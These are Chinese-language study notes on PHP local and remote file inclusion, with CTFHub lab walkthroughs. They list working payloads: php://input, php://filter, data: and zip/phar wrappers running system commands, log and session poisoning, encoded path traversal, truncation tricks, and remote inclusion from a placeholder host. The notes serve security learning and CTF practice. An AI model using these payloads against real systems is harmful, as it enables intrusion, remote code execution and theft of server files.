文件包含

文件包含 学习笔记

基础知识

相关函数

php中引发文件包含漏洞的通常是以下四个函数:

其中:

  • include() 如果出错的话,只会提出警告,会继续执行后续语句。
  • reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

而include_once()和 require_once() 功能与include()和 require() 类似

但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,

以避免函数重定义或变量重赋值等问题。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析

  • 测试代码:
1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>

在同目录下有个phpinfo.txt,其内容为 <? phpinfo(); ?>

  • 则只需要访问:
1
index.php?file=phpinfo.txt

即可成功解析phpinfo

image-20240715115509958

使用场景

  • 具有相关的文件包含函数
  • 文件包含函数中存在动态变量,比如 include $file;
  • 攻击者能够控制该变量,比如$file = $_GET['file'];

分类:本地与远程

LFI(Local File Inclusion)

本地文件包含漏洞

顾名思义,指的是能打开并包含本地文件的漏洞。

大部分情况下遇到的文件包含漏洞都是LFI,简单的测试用例如前所示。

RFI(Remote File Inclusion)

远程文件包含漏洞

是指能够包含远程服务器上的文件并执行。

由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。

但RFI的利用条件较为苛刻,需要php.ini中进行配置:

  • allow_url_fopen = On
  • allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

image-20240715120152228

附注:在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

包含姿势

下面例子中测试代码均为:

1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>
  • allow_url_fopen 默认为 On
  • allow_url_include 默认为 Off

若有特殊要求,会在利用条件里指出。

php伪协议

php://input

利用条件:

  • allow_url_include = On。
  • 对allow_url_fopen不做要求。

姿势:

1
2
3
4
5
index.php
?file=php://input

POST:
<? phpinfo();?>

php://filter

利用条件:与上述相同
姿势:

1
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
  • 通过指定末尾的文件,可以读取经base64加密后的文件源码
  • 之后再base64解码一下就行

虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

image-20240715121929159

绕过read关键字等waf
1
index.php?file=php://filter/convert.base64-encode/resource=index.php
  • 效果跟前面一样,少了read等关键字

在绕过一些waf时能有所帮助

phar://

利用条件:

  • php版本大于等于php5.3.0

姿势:

假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:

image-20240715122139215

绝对路径
  • 可以指定绝对路径
1
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
相对路径
  • 或者使用相对路径(这里test.zip就在当前目录下)
1
index.php?file=phar://test.zip/phpinfo.txt

image-20240715122349662

zip://

利用条件:

  • php版本大于等于php5.3.0

姿势:
构造zip包的方法与phar相同

但是,使用zip协议:

  • 需要指定绝对路径,并且只能用绝对路径,而不能使用相对路径!
  • 同时将#编码为%23
  • 之后填上压缩包内的文件
1
http://127.0.0.1:2500/fileinclude/index.php?file=zip://D:\phStudy\WWW\fileinclude\test.zip%23phpinfo.txt

若是使用相对路径,则会包含失败

data:URI schema

利用条件:

  • php版本大于等于php5.2
  • allow_url_fopen = On
  • allow_url_include = On
姿势一:
1
index.php?file=data:text/plain,<?php phpinfo();?>
  • 执行命令:
1
index.php?file=data:text/plain,<?php system('whoami');?>
姿势二:
1
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号 + 的url编码为 %2bPD9waHAgcGhwaW5mbygpOz8+ 的base64解码为: <?php phpinfo();?>

  • 执行命令:
1
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:<?php system('whoami');?>

包含session

利用条件:

  • session文件路径已知
  • 且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到。

image-20240715123216424

常见的php-session存放位置:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

image-20240715213703689

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

包含日志

访问日志

利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

姿势:

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

image-20240715214952670

正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

image-20240715215017831

在一些场景中,log的地址是被修改掉的.可以通过读取相应的配置文件后,再进行包含。

这里提供一道包含日志的CTF题目:SHACTF-2017- Bon Appétit (100)-writeup

SSH log

利用条件:

  • 需要知道ssh-log的位置,且可读
  • 默认情况下为 /var/log/auth.log

姿势:

用ssh连接:

1
ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

绕过姿势

由于我们平常碰到的情况肯定不会是简简单单的include $_GET['file'];这样直接把变量传入包含函数的。

  • 在很多时候包含的变量/文件不是完全可控的
  • 比如下面这段代码指定了前缀后缀
1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>

这样就很“难”直接去包含前面提到的种种文件。

指定前缀

先考虑一下指定了前缀的情况吧。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>

目录遍历

例如:

现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>

  • 则利用../可以进行目录遍历

    比如我们尝试访问:

1
include.php?file=../../log/test.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过

利用url编码
  • ../
    • %2e%2e%2f
    • ..%2f
    • %2e%2e/
  • ..\
    • %2e%2e%5c
    • ..%5c
    • %2e%2e\
二次编码
  • ../
    • %252e%252e%252f
  • ..\
    • %252e%252e%255c
容器/服务器的编码方式

指定后缀

接着考虑指定后缀的情况。测试代码:

URL

url格式

1
protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

姿势一:query(?)

则包含的文件为 :

1
http://remoteaddr/remoteinfo.txt?/test/test.php

问号后面的部分 /test/test.php ,也就是指定的后缀被当作query从而被绕过。

姿势二:fragment(#)
1
index.php?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为:

1
http://remoteaddr/remoteinfo.txt#/test/test.php

问号后面的部分 /test/test.php ,也就是指定的后缀被当作fragment从而被绕过。

  • 注意需要把 # 进行url编码为 %23

利用协议

前面有提到过利用zip协议和phar协议。假设现在测试代码为:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

构造压缩包如下:

image-20240716133951529

其中test.php内容为:

1
<?php phpinfo(); ?>

利用zip协议,注意要指定绝对路径

1
index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta

则拼接后为:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php

即可成功包含

长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

1
index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

0字节截断

利用条件: php版本 < php 5.3.4

1
index.php?file=phpinfo.txt%00

这两种使用场景都很少了已经

防御方案

  • 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
  • 做好文件的权限管理
  • 对危险字符进行过滤等等

文件包含 靶场

CTFHub

文件包含

image-20240716152521646

  • 进入环境,查看源码

image-20240716152932005

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
  • 点击那个shell后,发现有个一句话木马
  • 而且密码是ctfhub

image-20240716154140657

  • file包含这个shell.txt
1
?file=shell.txt

这样子就进入了它的文件管理系统,就在包含shell.txt的这个文件夹这里

  • 然后执行命令
1
ctfhub=system('ls');

image-20240716154309466

  • 不断返回上一级,查找flag
  • ctfhub=system('ls ../../../');

image-20240716154508203

  • 读取flag
1
ctfhub=system('cat ../../../flag');

image-20240716154559229

  • 拿到flag

其实可以直接:

1
ctfhub=system("cat /flag");

php://input

1
php://input 是 php 语言中一个只读的数据流,通过 "php://input" ,可以读取从 HTTP 客户端以 POST方式提交的所有数据。
  • 进入环境,分析源码

image-20240716155344214

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>

这段PHP代码检查 file 参数是否存在,如果存在则检查该参数的前6个字符是否为 “php://“

如果是,则执行 include 函数将参数值作为文件包含进来。

否则输出 “Hacker!!!”

  • php://input 是 php 语言中一个只读的数据流,通过 “php://input
  • 可以读取从 HTTP 客户端以 POST 方式提交的所有数据。
  • 于是用Bp抓包拦截,修改数据

image-20240716160412489

  • 修改 GET 请求为 POST 请求
  • 使用参数 就可以查看到目标站点中的文件
1
<?php system("ls /");?>

其中 system 是目标系统,括号中的内容执行命令。

image-20240716161138223

image-20240716161211669

  • 读取flag
1
<?php system("cat /flag_19319"); ?>

image-20240716162329049

读取源代码

  • 进入环境

image-20240716162533140

  • 看一下源代码,好像和上一题没有区别
  • 试试php://input
  • emmmm好像没用。这里的input是不起作用,好像是因为allow_url_fopen没有开启

这里引入另一个php伪协议:php://filter

  • 使用方法:

image-20240716163118108

  • 题目说“flag在/flag”
  • 那就尝试一下:
1
/?file=php://filter/resource=/flag

image-20240716163323233

  • 就拿到flag了,主要考查filter的使用

远程文件包含

  • 进入环境

image-20240716200639410

  • 分析源码
1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
  • 我们先用上一题的filter协议,可以查看phpinfo ?file=php://filter/resource=phpinfo.php
  • 检查 phpinfo 环境配置信息页面,检查 allow 的两个选项是否开放:
    • 可以发现 fopen和include都是On

image-20240716201456893

法一:php://input

用input协议

  • 先用bp拦截?file=php://input

  • 然后将GET传参改为POST传参(好像不改也没关系)

  • 构造php代码

1
<?php system("ls /");?>

image-20240716202843489

  • 读取flag
1
<?php system("cat /flag");?>

image-20240716202900240

法二:服务器执行CTFHub | 远程包含_ctfhub远程包含-CSDN博客

这个方法的使用前提是有一个自己的云服务器